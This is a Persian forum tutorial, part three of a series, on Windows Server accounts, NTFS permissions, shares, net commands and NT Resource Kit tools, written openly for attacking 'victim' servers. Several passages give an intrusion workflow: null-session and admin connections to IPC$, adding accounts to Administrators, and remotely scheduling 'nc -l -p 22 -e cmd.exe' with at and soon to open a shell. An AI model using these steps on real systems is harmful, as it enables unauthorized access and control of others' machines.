پاسخ به:آموزش های تخصصی شبکه و امنیت و ضد امنیت
پنج شنبه 26 مرداد 1391 2:21 AM
ضروريات ويندوز سرور براي متخصصين - قسمت سوم
يادآوري
اين مقاله ادامه مقاله قبليه! در اين درس نيز ما با يک سرور ويندوز به صورت يک کامپيوتر منفرد سروکار داريم و توجهي به کامپيوترهاي متصل به اون در شبکهاي که هست نداريم.
- اکانتها و گروهها در ويندوز سرور
همونطور که گفتم ما داريم در مورد يک ويندوز سرور منفرد صحبت ميکنيم، بنابراين منظور من از اکانت، اکانتهاي محلي يا local است ( وقتي چند ويندوز سرور در کنار هم و به صورت شبکه مورد استفاده هستند، معمولا اکانتهاي سراسري يا global هم ست ميشود که براي دسترسي به منابع در domain مورد استفاده قرار ميگيرد. درمورد اينکه domain در ويندوز سرور چيست، بعدها توضيح ميدم). بنابراين ما بحث اکانتهاي لوکال رو داريم. در مورد گروهها هم همينطور يعني گروههاي لوکال رو ميگم.
اکانت عبارت از يک username و password معتبر در ويندوز سرور است. وقتي از طريق يک اکانت به سيستم وارد ميشويم، اصطلاحا ميگوييم که login يا logon کردهايم. با login کردن به سرور به سطحي خاص از دسترسي به فايلها و منابع سيستم ميرسيم که بستگي به سطح اختيارات اون اکانت داره. تعداد زيادي اکانت لوکال پيشفرض وجود داره که مهمترينهاش، ايناست:
۱- اکانت Administrator : بالاترين سطح دسترسي به اون سرور خاص است. اگه با اين اکانت login کنيد، به نهايت دسترسي به اون کامپيوتر رسيدهايد. معادل root در سيستمعاملهاي مبتني بر يونيکس.
۲- اکانت guest : به صورت پيشفرض غير فعال است. اختيارات بسيار محدودي دارد.
۳- اکانت IUSR_xxxxx-yyyyy : در اين اکانت xxxx-yyyyyy نام همون کامپيوتره. مثلا ممکنه اسم اين اکانت اين باشه: IUSR_ABBASGOLI-V0P1QR !! اين اکانت همراه با IIS به طور پيشفرض ايجاد ميشه و خود ويندوز يه پسورد random براش ست ميکنه. ( IIS يا Internet Information Server وبسرور مايکروسافت براي ويندوز است. اين نرمافزار همون چيزي است که روي پورت ۸۰ فالگوش ميماند و وقتي شما سايتي از اون سرور رو توسط مرورگر درخواست ميکنيد، براي شما صفحه وب رو ميفرستد. وب سرورهاي ديگري نيز براي ويندوز وجود دارد که به اندازه IIS پرکاربرد نيستند) اين اکانت نيز يک اکانت محدود است. وقتي شما مشخصا از طريق پورت ۸۰ ويندوز سروري را هک ميکنيد که IIS روي اون نصب شده و يک شل از اين طريق ميگيريد، معمولا شما سطح اختياراتي معادل همين اکانت IUSR_xxxxx-yyyyy رو بدست آوريدهايد. يعني شما سطح اختيارات Administrator رو نداريد. خيليّها از من ميپرسند که مثلا با Unicode bug يک ويندوز ۲۰۰۰ رو هک کردهايم ولي نميتونيم مثلا صفحه اول سايت رو عوض کنيم... دليلش اينه که شلي که شما از اين طريق بدست آوردهايد، در سطح Administrator نيست و ممکن است لازم باشد که به طريقي از اکانت IUSR_xxxxx-yyyyy به Administrator برسيد تا بتونيد اون فايل خاص (صفحه اول) رو بدست بگيريد.
۴- و...
گروههاي محلي ( local groups ) چيست؟
فرض کنيد که يه کامپيوتر ۵۰ اکانت مختلف در اون ايجاد شده که هر کدوم از اين اکانتها دسترسي متفاوتي بايد به منابع داشته باشند. اگه قرار باشه هر ۵۰ اکانت تک تک ايجاد بشه و اجازه دسترسي به منابع خاص يکي يکي ايجاد بشه، کار بسيار طولاني خواهد بود. معمولا اينگونه است که تعداد زيادي از اين اکانتها بايد سطح اختيارات يکسان داشته باشند، مثلا ۳۰ تاشون در حد guest بايد به سرور دسترسي داشته باشند. در اين حالت بهتر است که يک گروه ايجاد شود و اختيارات واسه اون گروه ست بشه. حالا هر اکانتي که داخل اون گروه ايجاد بشه، همون سطح اختيارات رو خواهد داشت و اين مديريت رو سادهتر ميکنه. معمولا اسم گروهها يه حرف s آخرشون دارند که علامت جمعه. مهمترين گروهها عبارتند از:
۱- Administrators: يعني admin ها. مجموعهاي از اکانتها که دسترسيشون در حد Administrator است.
۲- Power Users
۳- Backup Operators
۴- Guests
۵- Users
۶- و...
Account Policy چيست؟
قواعدي است که براي اکانتها ست ميشود. مثلا ممکن است Admin سرور ست کند که حداقل طول پسورد براي اکانت بايد ۶ حرف باشد يا اينکه فلان اکانت بعد از ۳ بار امتحان ناموفق براي login قفل شود و... اين اطلاعات رو قبلا در درس پورت ۱۳۹ گفتم که ميشه به کمک enum يا winfo و... بدست آورد.
- permision ها ( مجوزها ) در NTFS
مجوزها در NTFS مهمترين تحولي است که نسبت به FAT32 رخ داده است. مجوزها تعيين ميکنند که يک يوزر که به سيستم login کرده است، در چه حدي ميتواند با فايلهاي يک فولدر کار کند. فرض کنيد که يک يوزر از گروه guests به سيستم وارد شده است، در اين حالت مسلما نميخواهيم که اين فرد بتواند به تمام فايلها دسترسي از نوع خواندن و نوشتن داشته و آنها را تغيير دهد. پس فولدرهايي وجود دارند ( مثل فولدر مربوط به فايلهاي ويندوز ) که فقط براي افراد خاصي قابل دسترسي هستند.
نکته بسيار مهم در ويندوز اين است که مجوزها براي فولدرها تنظيم ميشوند نه براي فايلها. به عبارت ديگر وقتي مجوزي براي فايلي ميخواهيم ست کنيم، در ويندوز سرورها نميتوانيم براي اون فايل اين مجوز رو تنظيم کنيم، بلکه بايد فولدري که فايل در اون قرار گرفته رو ست کنيم. در اين حالت تمام فايلهاي داخل اون فولدر همين مجوز رو خواهند داشت.
نکته مهم ديگر اين است که مجوزها براي اکانتهاي مختلف به صورتهاي متفاوت ست ميشوند. مثلا ممکن است فولدر ويندوز براي اکانتهاي guest به صورت فقط خواندني تنظيم شود، ولي براي اکانتهاي Administrators به صورت دسترسي کامل.
الف- مجوزها در NTFS 4.0:
۱- No Access : يعني عدم دسترسي براي يک اکانت خاص. يعني اينکه حتي نميتوان وارد اون فولدر شد.
۲- Read: فقط خواندني. يعني ميشه به فولدر وارد شد و فايلها رو دسترسي داشت ( چه فايلهاي اجرايي و چه غير اجرايي ) و اونها رو خواند ( در مورد فايلهاي اجرايي يعني ميشه اجراشون کرد ) ولي اجازه تغيير در فايلهاي اون فولدر مثل پاک کردن، ويرايش و ايجاد فايل جديد رو نداريم.
۳- Change: يعني هم خواندن، هم تغيير، هم حذف و هم اجرا براي اون اکانت خاص مجاز است. يعني همه کار ولي نه تغيير دادن مجوزها واسه اون فولدر. يعني اينکه فرد نميتونه ست کنه که اين فولدر که الان مثلا براي اکانتهاي guests قابل دسترسي نيست، قابل دسترس بشه.
۴- Full Control: يعني دسترسي کامل. شامل همه مواردي که در شماره ۳ گفته شد + اجازه تغيير مجوزها. بنابراين اين مجوز معمولا فقط براي Adminها ست ميشود.
ب- مجوزها در NTFS 5.0:
۱- No Access : يعني عدم دسترسي.
۲- Read: فقط خواندني. در NTFS 4.0 در حالت Read ميتونستيم فايلهاي اجرايي داخل اون فولدر رو اجرا کنيم ولي در NTFS 5.0 با اين مجوز نميتونيم فايلهاي اجرايي رو اجرا کنيم و فقط ميتونيم بخونيم.
۳- Read & Execute: يعني اجازه خواندن و نيز اجازه اجرا کردن.
۴- Write: يعني اجازه خواندن، اجزا کردن و تغيير دادن.
۵- Modify: دقيقا مثل Write. اين نشون از ضريب هوشي مايکروسافت بزرگ داره! دو اسم براي يک نوع دسترسي
۶- Full Control: يعني مثل Write + اجازه تغيير مجوزها
- Share ها در ويندوز سرور
share در ويندوز سرورها يعني منابعي که از طريق شبکه ( يعني از راه دور ) قابل دسترسي باشد. همونطور که تو درس مربوط به پورت ۱۳۹ گفتم، دسترسي به منابع اشتراکي در ويندوز سرورها، از طريق پروتکل SMB است که مايکروسافت اونو CIFS ميگه. در اين حالت، اول يک احراز هويت داريم و بعد از اون يک session يا نشست تشکيل ميشه ( يه چيزي هم به اسم Null Session هست که توضيحاتش در همون درس اومده. ) پروتکلهاي قديمي NetBEUI (که از دور خارج شده) و NetBIOS هم چيزي است هنوز هم توسط ويندوز ساپورت ميشه. منابع اشتراکي هم که مشخصه: فولدرها، درايوها و چاپگر.
حالا ميرسيم به ليست share ها:
$IPC : يعني دسترسي کامل. اگه بتونيم به اين share برسيم در واقع به تمام فايلها، درايوها و فولدرها دسترسي داريم. معمولا دسترسي به اين share فقط واسه اکانتهاي Admin است.
$ADMIN : اين share مربوط به فولدري است که ويندوز در اون نصب شده است يعني %SystemRoot% بنابراين share محدودتري نسبت به $IPC محسوب ميشه.
$print : يعني چاپگر! فولدر مربوطهاش اينجاست: SystemRoot%\system32\spool\PRINTERS% يعني با اين share به اين فولدر دسترسي داريم. اين فولدر جايي است که کارهاي چاپي به صورت فايلهايي با پسوند spl نگهداري ميشوند.
$C و $D و...: اگه اين share ها ست شده باشه به درايوهاي C و D و ... دسترسي داريم.
share هاي ديگر: هر فولدري رو در ويندوز ميشه share کرد و يک نام خاص به اون نسبت داد...
خوب بحث اينجاست که هر کدوم از اين share ها هم ميتونند واسه اکانتهاي مختلف به صورتهاي متفاوت مجوزدهي شوند ( درست مثل بحث NTFS که گفتم) ولي يه تفاوت وجود داره. در مورد share ها عبارت Network Access رو بکار ميبريم ولي واسه NTFS عبارت Local Access و اينا ممکنه متفاوت باشند. مثلا فرض کنيم که درايو C واسه اکانت guest در share به صورت read ست شده باشه. ولي در همين درايو فولدر ويندوز باشه که واسه guest در NTFS به صورت No Access ست بشه. حالا چه اتفاقي ميافته؟ در اين حالت، به صورت اشتراک به قضيه نگاه ميکنيم، يعني No Access (واسه حالت local Access) و Read (واسه حالت remote Access ) رو با هم اشتراک ميگيريم ( همون چيزي که تو درس رياضيات خونديم! ) و نتيجه No Access ميشه. پس اگه يک guest از طريق share وارد درايو C بشه، اگرچه به خيلي از فولدرها دسترسي خواهد داشت ولي دسترسي اون به فولدر مربوط به ويندوز در همون درايو غيرممکن خواهد بود.
- ساير دستورات خط فرماني در ويندوز سرورها
يک سري دستورات خطفرماني در قسمت اول اين مجموعه درسها بررسي شد. بيشتر دستورات خطفرماني که امروز ميگم، از مجموعه دستور net ويندوز هستند (يعني با عبارت net شروع ميشوند) و اکثرا لازم است که با اکانتي در حد Administrator باشيد که اجرا بشوند. يه مطلب ديگه اينکه وقتي ميگم که يه دستور به صورت لوکال هم ميتونه اجرا بشه، روي ويندوز NT کامپيوتر خودتون هم ميتونيد تست کنيد. مطلب بعدي اينکه اين دستورات کاربردهاي زيادي دارند ولي ما فقط مواردي رو بررسي ميکنيم که بدرد يک هکر ميخوره!
۱- net help :
اين دستور در واقع help دستور net است. مينويسم: net helpو جواب ميشنوم: The syntax of this command is:NET HELP command -or-NET command /HELP Commands available are: NET ACCOUNTS NET HELP NET SHARE NET COMPUTER NET HELPMSG NET START NET CONFIG NET LOCALGROUP NET STATISTICS NET CONFIG SERVER NET NAME NET STOP NET CONFIG WORKSTATION NET PAUSE NET TIME NET CONTINUE NET PRINT NET USE NET FILE NET SEND NET USER NET GROUP NET SESSION NET VIEW NET HELP SERVICES lists the network services you can start. NET HELP SYNTAX explains how to read NET HELP syntax lines. NET HELP command | MORE displays Help one screen at a time.توضيحات کاملا واضحه. مثلا اگه بخوام در مورد دستور net time و کاربردش اطلاعات بگيرم، بايد بنويسم: net help timeيا net time /helpتا توضيحات بياد.
۲- net helpmsg :
وقتي که يک دستور net به صورتي اجرا ميشه که خطايي پيش بياد، ويندوز يک شماره خطاي ۴ رقمي به ما ميده که براي دريافت جزئيات بيشتر در مورد اين خطا بايد از دستور net helpmsg استفاده کنيم. مثلا مينويسم! net share shanguli_mangul_habbeye_angurو جواب مياد: This shared resource does not exist.More help is available by typing NET HELPMSG 2310.يک خطا رو گزارش داده و يک عدد ۴ رقمي به من داده. براي اينکه بدونم جزئيات خطا چيه، مينويسم: net helpmsg 2310و به من ميگه که اشتباه من چه بوده است...
۳- net time :
ما از اين دستور براي فهميدن زمان روي يک سرور استفاده ميکنيم. اگه به صورت لوکال استفاده ميکنيد ( يعني اگه يک shell در سرور قرباني داريد و دستورات رو همونجا تايپ ميکنيد) بنويسيد: net timeولي اگه به صورت remote کار ميکنيد (يعني يک NetBIOS session تشکيل دادهايد توسط دستور net use که در درس پورت ۱۳۹ هم توضيح داده شده )، بنويسيد: net time \\xxx.xxx.xxx.xxxکه xxx.xxx.xxx.xxx همان ip ي است که session براش داريم.
۴- net use :
اين دستور دو کاربرد مهم داره که در بحث پورت ۱۳۹ بحث شدهاست. اولين کاربرد connect يا disconnect شدن به يک کامپيوتر با پورت ۱۳۹ باز و NetBIOS فعال است. مثلا اگه بخوام با اکانت Administrator با پسورد yechizi به کامپيوتري با ip ي xxx.xxx.xxx.xxx کانکت بشم به share ي به اسم $IPC (اين share معمولا هست، به همين دليل از اين share استفاده کردم. اگه شما روي کامپيوتر قرباني از وجود share ديگري اطلاع داريد، همون رو استفاده کنيد ) ، مينويسم: net use \\xxx.xxx.xxx.xxx\IPC$ "yechizi"/user:"Administrator"اين کاربرد اول بود که اينو قبل از دستور net view انجام ميديم. ميتونستيم يک null Session تشکيل بديم، به اين صورت که قسمت مربوط به username و password رو خالي بذاريم. به اين صورت: net use \\xxx.xxx.xxx.xxx\IPC$ "" /user:""حالا session تشکيل شده است! کاربرد بعدي اينه که بعد از اينکه دستور بالا رو اجرا کردم و بعد دستور net view رو اجرا کردم و ليست کامل share ها رو بدست آوردم، بيام و يکي از اين share ها رو استفاده کنم. مثلا اگه اسم share که ليست شده، SharedDocs باشه، و بخوام يک درايو جديد رو بهش نسبت بدم که بتونم باهاش کار کنم، مينويسم: net use * \\xxx.xxx.xxx.xxx\SharedDocsمعني کاراکتر * اينه که اگه مثلا آخرين درايو در کامپيوتر من ( با احتساب سي-دي درايو ) مثلا G باشه، درايوي که براي share استفاده ميشه، درايو بعدي يعني H باشه. ميتونستم اينطوري هم بنويسم: net use H: \\xxx.xxx.xxx.xxx\SharedDocsخوب حالا ميتونم مثل يک درايو محلي باهاش کار کنم. توي درس پورت ۱۳۹ مياومديم و My Computer رو از دسکتاپ باز ميکرديم و با درايو جديد کار ميکرديم. چون ما دستورات داس رو ياد گرفتهايم ميتونيم با اين دستورات هم با اون درايو کار کنيم، مثلا بنويسيم: H:dir,...وقتي کارمون با share تموم شد، بايد disconnect کنيم، با اين دستور : net use /delete H:تا ارتباط قطع بشه.
۵- net view :
netbios session تشکيل دادهام (گاهي Null Session هم جواب ميده) و حالا ميخوام ببينم که چه منابعي برام share شده، مينويسم: net view \\xxx.xxx.xxx.xxxو مثلا جواب ميگيرم: Shared resources at \\xxx.xxx.xxx.xxxShare name Type Used as Comment------------------------------------------------SharedDocs DiskThe command completed successfully.ميبينيد که SharedDocs فولدرياست که share شده. حالا با دستور net use ميتونم از share استفاده کنم.
۶- net share :
اين دستور به ما کمک ميکنه که share ها رو به صورت لوکال مديريت کنيم ( دستور بالايي به صورت remote استفاده ميشد ) . ميخوام ببينم که چه share هايي الان هست. مينويسم: net shareو جواب ميگيرم: Share name Resource Remark-------------------------------------------------------------------------------F$ F:\ Default shareIPC$ Remote IPCD$ D:\ Default shareI$ I:\ Default shareG$ G:\ Default shareE$ E:\ Default shareADMIN$ I:\WINNT Remote AdminH$ H:\ Default shareC$ C:\ Default shareJ$ J:\ Default shareThe command completed successfully.همشون پر واضحاند! خوب حالا ميخوام مثلا $C رو از ليست share ها پاک کنم. مينويسم: net share C$ /deleteاگه دوباره ليست رو بيارم، ميبينم که ديگه نيست. ميخوام دوباره همون رو share کنم، مينويسم: net shareC$=C:حالا ميخوام مثلا فولدر C:\ali رو به اسم info بيام و share کنم، مينويسم: net share info=c:\aliحالا اگه ليست بگيرم، ميبينم که وارد ليست شده.
۷- net accounts :
Account Policy رو براي اکانتي که با اون وارد شدهايم بيان ميکند. بهصورت لوکال استفاده ميشود. مينويسم: net accountsو مثلا جواب ميشنوم: Force user logoff how long after time expires�: NeverMinimum password age (days): 0Maximum password age (days): 42Minimum password length: 0Length of password history maintained: NoneLockout threshold: NeverLockout duration (minutes): 30Lockout observation window (minutes): 30Computer role: SERVERThe command completed successfully.تنها قسمتي که نياز به توضيح دارد، عبارت Lockout است. اين يک ويژگي امنيتي است. فرض کنيد که کسي ميخواد از طريق امتحان کردن تعداد زيادي پسورد براي يک اکانت، پسورد رو پيدا کنه ( Crack کردن ). ميتونيم جوري اکانت رو تنظيم کنيم که مثلا بعد از سه بار تست ناموفق، به مدت چند دقيقه locak يا قفل بشه. اسن باعث ميشه که کار هکر کند بشه. ولي معمولا اينطوري است که اکانت Administrator جوري هست که هرگز قفل نشه ( توضيحات مفصل رو درس بعدي بخونيد ).
۸- net user :
اين دستور به ما کمک ميکنه که به صورت لوکال بدونيم که چه اکانتهايي در سيستم تعريف شده است و نيز اينکه اطلاعاتي در مورد هريک بدست بياريم و نيز اکانت جديد تعريف کنيم. اول ميخوام بدونم چه اکانتهايي تعريف شده، مينويسم: net userو جواب ميشنوم: User accounts for \\computer-name-------------------------------------------------------------------------------Administrator ali arazASPNET Guest The command completed successfully.خوب حالا مثلا ميخوام راجع به اکانت guest اطلاعاتي بگيرم، مينويسم: net user guestو جواب ميگيرم: User name GuestFull NameComment Built-in account for guest access to the computer/domainUser's commentCountry code 000 (System Default)Account active NoAccount expires NeverPassword last set 10/27/2003 2:58 AMPassword expires NeverPassword changeable 10/27/2003 2:58 AMPassword required NoUser may change password NoWorkstations allowed AllLogon scriptUser profileHome directoryLast logon NeverLogon hours allowed AllLocal Group Memberships *GuestsGlobal Group memberships *NoneThe command completed successfully.ميبينيد که در سطر ۲ تا مونده به آخر ( سطري Local Group Membership ) دقيقا بيان شده که اين اکانت به چه گروههايي تعلق داره. دقت کنيد که بهجاي دستور net user از دستور net users هم ميتونيد استفاده کنيد.
حالا ميخوام يک اکانت جديد اضافه بکنم. اسم اکانت ميخوام vahid باشه و پسورد اون yechizi مينويسم: net user vahid yechizi /addحالا ميخوام همين اکانت رو پاک کنم: net user vahid /deleteدقت کنيد که در دستور پاک کردن ديگه لزومي به وارد کردن پسورد نيست. دستور بعدي به ما ميگه که چطوري يک اکانت رو وادار کنيم که عضو يک گروه محلي شود.
۹- net localgroup :
ليست گروههاي محلي تعريف شده رو بيان ميکنه و نيز ميشه فهميد در هر کدوم از اين گروهها چه اکانتهايي هست ونيز ميشه به يک گروه خاص اکانتي اضافه کرد. ميخوام ببينم که چه گروههاي محلي تعريف شده است. مينويسم: net localgroupو جواب ميشنوم: Aliases for \\Computer-name-------------------------------------------------------------------------------*Administrators *Backup Operators *Debugger Users*DHCP Administrators *DHCP Users *Guests*Power Users *Replicator *UsersThe command completed successfully.دقت کنيد که ويندوز معمولا هنگام ارائه نتايج دستورات net مياد و اول اسم هر گروه يک * قرار ميده تا با اکانتها اشتباه نشه. حالا ميخوام ببينم که مثلا در گروه Administrators چه اکانتهايي هست. مينويسم: net localgroup Administratorsو جواب ميشنوم: Alias name AdministratorsComment Administrators have complete and unrestricted access to the computer/domainMembers-------------------------------------------------------------------------------AdministratoraliarazThe command completed successfully.پس سه تا اکانت در حد Admin داريم. حالا ميخوام مثلا اکانت ali رو از ليست Admin ها خارج کنم، مينويسم: net localgroup Administrators ali /deleteو اون اکانت از گروه حذف ميشه (ميتونيد دوباره ليست بگيريد و ببينيد که ديگه در اين گروه نيست ). حالا ميخوام دوباره اکانت ali رو به اين گروه اضافه کنم، مينويسم: net localgroup Administrators ali /addاين دستور از جمله مهمترين دستوراتي است که بايد ياد بگيريد. گاهي با اکانتي وارد ميشويم و ميخواهيم که اونو به حد Admin برسونيم و روش کار همين دستور آخري است ( اينکه اجازه اينکار رو داريم يا نه، بحثي است که بعدا مطرح ميشه و گفته خواهد شد که چطوري توسط يک سري exploit مشکل رو حل کنيم). وقتي اکانتي وارد گروه Admin ميشه، تمام مزاياي همچين گروهي رو يدست مياره.
۱۰- net session :
به کمک اين دستور مشخص ميشه که چه کساني الان يک session در سيستم دارند. به عبارت ديگه چه کساني به صورت remote به سيستم وارد شدهاند. اين دستور رو تايپ کنيد: net sessionتا ليست اونا بياد. اگه ميخوام همه session ها رو خاتمه بدم، مينويسم: net session /delete اين همه session هاي مرا در کامپيوتري که درش اين دستور اجرا شده، با ساير کامپيوترها قطع ميکند. اگه فقط بخوام يک session رو با يه کامپيوتر خاص تموم کنم، مينويسم: net session \\xxx.xxx.xxx.xxx /deleteاين در حالتي است که با اون کامپيوتر session داشته باشم. دقت کنيد که به جاي دستور net session ميتونيد از دستور net sessions يا net sess استفاده کنيد.
۱۱- net send :
فرض کنيد که ميخوام يک message به فرد خاصي که الان به سيستم وارد شده و يک session دارد بفرستم. ( اينکه فردي session دارد يا نه، به کمک دستور net session قابل بررسي است) بدين منظور از اين دستور ميتونم استفاده کنم. مثلا اگه بخوام به Administrator که الان در سيستم هست، پيغام Salam Refig رو بفرستم، مينويسم: net send Administrator Salam Refigدر اين حالت اون پيغام منو ميگيره. اگه بخوام به همه اونايي که الان session دارند، همين پيغام رو بفرستم، مينويسم: net send /usersSalam Refigو پيغام و همه ميگيرند. اين دستور بايد به صورت local يعني از طريق يک shell اجرا بشه.
۱۲- ساير دستورات net :
يک سري دستورات net هستند مثل net computer و net group که در شبکهاي از ويندوز سرورها کاربرد دارند و بعدها بررسي خواهند شد. و نيز يک سري دستور براي مديريت سرويسها داريم مثل net config و net stop و net continue و net pause و net start که در جلسه بعد ميگم.
- NTRK چيست؟
NTRK مخفف NT Resourse Kit است. NTRK محصولي از مايکروسافت است و به صورت يک CD جداگانه (و البته پولي) همراه نسخههاي مختلف ويندوزهاي سري NT به فروش ميرسه و يک سري ابزارهاي خطفرماني و گرافيکي بسيار جالب را در اختيار قرار ميده. NTRK مثل يک شمشير دولبهاست، هم به مديران شبکه کمک ميکنه که کار مديريت ويندوز سرور رو راحتتر انجام بدهند و هم از ديدگاه هکر، NTRK پر از برنامههايي است که براي هک کردن ويندوز سرور مورد نياز است. نرمافزارهايي که خط فرمان خود ويندوز فاقد آن است. الان که من دارم درس رو مينويسم، شما ميتونيد از اين آدرس به تعدادي از اين ابزارها دسترسي پيدا کنيد. (البته اين گونه آدرسها مدام تغيير ميکنند چون در واقع غيرقانوني هستند). حالا مهمترين نرمافزارهاي اين مجموعه رو شرح ميدم:
الف- ابزارهاي کار با Schedule Service :
۱- sc :
به کمک اين ابزار، ميتونيم سرويسهاي خاصي رو در سرور شروع، متوقف و... کند. مهمترين سرويسي که در کار با اين ابزار مدنظر داريم، schedule service است. اين سرويس به ما امکان ميدهد که سرور قرباني رو وادار کنيم که در زمان خاص، کار خاصي رو انجام دهد. اگه يادتون باشه وقتي با NetBIOS کار ميکرديم و ميتونستيم تروجاني رو به کامپيوتر قرباني کپي کنيم، معمولا بايد منتظر ميشديم که کسي پشت همون کامپيوتر روي فايل کليک کند يا در موادري خاص ميتونستيم کاري کنيم که موقع restart شدن کامپيوتر اون فايل اجرا بشه ولي خودمون نميتونستيم اون فايل رو اجرا کنيم. به کمک schedule service ميتونيم مشخص کنيم که مثلا سر فلان ساعت فلان دستور اجرا شود ( مثلا اين دستور ميتواند دستوري باشد که به کمک nc يک پورت روي کامپيوتر قرباني اجرا شود ). اين حالت در مواردي کاربرد دارد که ما يک اکانت Admin روي اون کامپيوتر داريم ولي به دلايلي شلي در اختيار نيست. براي اينکه توسط ابزار sc بتونيم مثلا schedule service رو در کامپيوتر قرباني فعال کنيم (البته اگه در حال حاضر فعال نباشد )، ابتدا بايد يک session به کمک يک اکانت خاص از طريق NetBIOS برپا ! کنيم. دقت کنيد که session بايد حتما براي اکانتي در سطح اختيارات Admin برپا شود. اين کار رو همونطور که گفتم، به کمک دستور net use انجام ميديم. حالا که session برقرار شد، در کامپيوتر خودمون مينويسيم: sc \\xxx.xxx.xxx.xxx start scheduleو جواب ميشنوم: SERVICE_NAME: schedule TYPE : 120 WIN32_SHARE_PROCESS (interactive) STATE : 2 START_PENDING (NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x7d0و schedule service شروع ميشود. دقت کنيد که کلمه start براي شروع يک سرويس است و کلمه schedule يعني schedule service پس با اين دستور schedule service در کامپيوتر قرباني فعال ميشود. در دستور بالا منظور از xxx.xxx.xxx.xxx در واقع ip قرباني است. همون ip که يک session باهاش داريم.
اگر schedule service از قبل فعال بود جواب ميشنيدم: [SC] StartService FAILED 1056:An instance of the service is already running.۲- at :
بعد از اينکه schedule service در کامپيوتر قرباني فعال شد، حالا ميخوام يه schedule task ( يا schedule job ) رو اجرا کنم. يعني اينکه يک دستور رو مشخص کنم که سر ساعت خاصي اجرا شود. مثلا فرض کنيد که من فايل nc رو به فولدري در آدرس c:\something کپي کردهام و حالا ميخوام کاري کنم که پنج دقيقه ديگه، يک پورت توسط nc ايجاد بشه. اولا اينکه من قبلا يه netbios session تشکيل دادم. حالا ميام و ساعت کامپيوتر قرباني رو بدست ميارم. اين کار رو همونطور که گفتم، توسط دستور net time انجام ميدم. ملاحظه ميکنم که مثلا ساعت سرور الان 11:20 PM است ( ساعت سرور مسلما با ساعت کامپيوتر شما متفاوت خواهد بود ). حالا اگه بخوام ۵ دقيقه ديگر (يعني سر ساعت 11:25 PM ) دستور nc -l -p 22 -e cmd.exe اجرا بشه و فايل nc هم همونطور که گفتم مثلا در فولدر c:\something باشه، مينويسم: at \\xxx.xxx.xxx.xxx 11:25P"c:\something\nc -l -p 22 -e cmd.exe"دقت کنيد که هم sc و هم at رو از کامپيوتر خودم اجرا ميکنم، پس لزومي به upload اونها به کامپيوتر قرباني نيست. و نيز اينکه براي اجراي اين دستورات بايد اکانت ما در حد Administrator باشد و نيز NetBIOS روي اون کامپيوتر باز باشد.
حالا ميخوام ببينم که آيا اين task به ليست schedule اضافه شده يا نه. مينويسم: at \\xxx.xxx.xxx.xxxو جواب ميشنوم: Status ID Day Time Command Line------------------------------------------------------------------------------- 1 Today 12:25 PM c:\something\nc -l -p 22 -e cmd.exeاگه بخوام اين task رو از ليست schedule پاک کنم، مينويسم: at \\xxx.xxx.xxx.xxx 1 /deleteدليل اينکه از عدد 1 استفاده کردم، اين است که در ليستي که در بالا بدست اومد، ID براي اين task عدد 1 بود.
يک نکته در مورد sc و at اين است که اين دستورات رو ميشه جوري اجرا کرد که بجاي اينکه به صورت remote اجرا شوند، به صورت local اجرا شوند. براي اينکار در تمام دستورات بالا عبارت xxx.xxx.xxx.xxx\\ رو حذف کنيد و نيز مسلم است که نيازي به session نخواهد بود و بايد هر دو فايل در سرور قرباني کپي شوند. اين گونه استفاده از اين دو دستور معمولا پيش نميآيد. زيرا فلسفه استفاده از آنها در مواقعي است که شلي در سرور نداريم. حالا که شل نيست، چطوري دستورات مربوطه رو اجرا کنيم ؟!
۳- soon :
همان کار at رو انجام ميده ولي ديگه نيازي نيست که زمان رو در سرور بدست بياريم. زيرا اين ابزار يک کار خاص رو چند ثانيه بعد براي ما انجام ميده. مثلا اگه بخوايم به صورت remote و توسط اين ابزار مثلا ۱۰ ثانيه بعد دستور nc -l -p 22 -e cmd.exe رو روي سرور قرباني اجرا کنيم، مينويسيم: soon \\xxx.xxx.xxx.xxx 10 "nc -l -p 22 -e cmd.exe"همانند at ، اين دستور هم ميتونه به صورت لوکال اجرا بشه ( خودتون ميدونيد چطوري ! )
login کردهايم.
ب- ابزارهاي کار با رجيستري ويندوز:
۴- reg :
اين ابزار براي تغيير دادن رجيستري در ويندوز به کار ميره. همونطور که اطلاع داريد وقتي پشت يک کامپيوتر نشستهايد ( يا اينکه يک remote control گرافيکي در اختيار داريد ) ميتونيد با اجراي برنامه regedit ( مثلا با تايپ کردن اون در Run ويندوز ) به رجيستري ويندوز به صورت گرافيکي دسترسي داشته باشيد. ولي اگه بخواين به صورت متني رجيستري رو تغيير بديد، با ابزارهاي خود ويندوز ممکن نيست و اين باعث ميشه مجبور بشيم از ابزاري به نام reg از NTRK بهره گيريم. اينو بگم که registry ويندوز حاوي اطلاعات حساسي است. اگه دانش کافي راجع بهش نداريد، بهتره هيچ تغييري اعمال نکنيد.
reg هم مثل sc و at هم به صورت لوکال و هم به صورت remote قابل استفاده است. اگه در حالت remote ميخواين استفاده کنيد، حتما بايد يک netbios session تشکيل بديد که در سطح دسترسي Administrator باشه. معمولا از اين ابزار براي دو منظور استفاده ميکنيم: اضافه کردن و پاک کردن کليد (key) و ورودي (entry). اگه بخوايم خيلي قضيه رو ساده بگيريم، کليدها مثل فولدر است و وروديها مثل فايل. مثلا اگه بخوايم در کليد HKLM\Software\MyCo\Araz يک ورودي به صورت Point=20.00 را اضافه کنيم و نيز اگه به صورت لوکال باشيم، مينويسيم: REG ADD HKLM\Software\MyCo\Araz\Point=20.00و اگه بخوايم همين کارو در کامپيوتر قرباني به صورت remote انجام بديم، مينويسيم:REG ADD HKLM\Software\MyCo\Araz\Point=20.00 \\xxx.xxx.xxx.xxxحالا اکه بخوام يک همين کليد رو پاک کنم، در حالت لوکال مينويسم: REG DELETEHKLM\Software\MyCo\Araz\ /FORCEو در حالت remote مينويسم: REG DELETE HKLM\Software\MyCo\Araz\ \\xxx.xxx.xxx.xxx /FORCEتغيير دادن يک ورودي هم دقيقا مثل اضافه کردن اونه. فقط به جاي reg add از reg update استفاده ميکنيم.
۵- regini :
